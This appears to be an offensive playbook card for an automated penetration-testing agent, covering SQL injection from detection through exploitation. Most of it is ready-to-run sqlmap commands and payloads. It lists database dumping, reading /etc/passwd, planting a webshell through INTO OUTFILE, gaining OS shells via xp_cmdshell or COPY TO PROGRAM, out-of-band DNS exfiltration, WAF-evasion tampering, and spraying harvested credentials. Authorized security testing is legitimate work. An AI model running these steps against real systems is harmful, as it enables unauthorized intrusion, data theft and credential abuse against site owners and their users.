web-sqli

SQL Injection

When this fires

A param reaches a query; you see a SQL error, a boolean-differential (true≠false response), or a time delay on a payload. Also any login/search/id/sort param on a DB-backed app.

Detect (tool-first, low-noise)

Drive detection with sqlmap, not by eye — it covers boolean/error/union/time/stack + gives an evidence chain:

sqlmap -u 'http://<t>/item?id=1' --batch --level 3 --risk 2 --random-agent | tee /tmp/sqlmap.txt
# non-standard transport (JSON body / RSC / GraphQL / custom headers): save the full request, then:
sqlmap -r /tmp/request.txt -p <param> --batch

Then sqlmap_parse on the output. A single manual probe (', ' OR '1'='1' -- -, 1 AND SLEEP(5)) is a confirm poke ONLY — never the detection method or a payload sweep by hand.

Decide

• Error shown → error-based / UNION (fastest data). Get column count: ORDER BY N until it breaks; find the reflected column; fingerprint DB (@@version, version(), sqlite_version()).
• No error but true≠false → boolean-blind. No differential but timing → time-blind (SLEEP/WAITFOR DELAY/pg_sleep/dbms_pipe.receive_message).
• No in-band channel → OOB (DNS/HTTP exfil) via --dns-domain / MySQL LOAD_FILE(CONCAT('\\\\',...)), MSSQL xp_dirtree.

Exploit → PROVE IMPACT

sqlmap -r /tmp/request.txt -p <param> --batch --dbs           # list databases
sqlmap ... -D <db> --tables ; sqlmap ... -D <db> -T <tbl> --dump   # extract
# creds/secrets → add_credential + cred_spray; escalate where possible:
#  MySQL FILE priv → --file-read=/etc/passwd, INTO OUTFILE webshell in webroot
#  MSSQL sa → --os-shell (xp_cmdshell) ; PostgreSQL superuser → COPY ... TO PROGRAM / --os-shell

Proof required: a dumped row a benign query couldn't return (a canary/secret value), a read file (/etc/passwd), or id via os-shell. "sqlmap says injectable" is a lead, not proof.

Tooling

sqlmap (--batch --random-agent, -r for weird transports, --technique BEUSTQ, --tamper for WAF) → sqlmap_parse. nuclei for known-CVE SQLi in a specific product → nuclei_parse.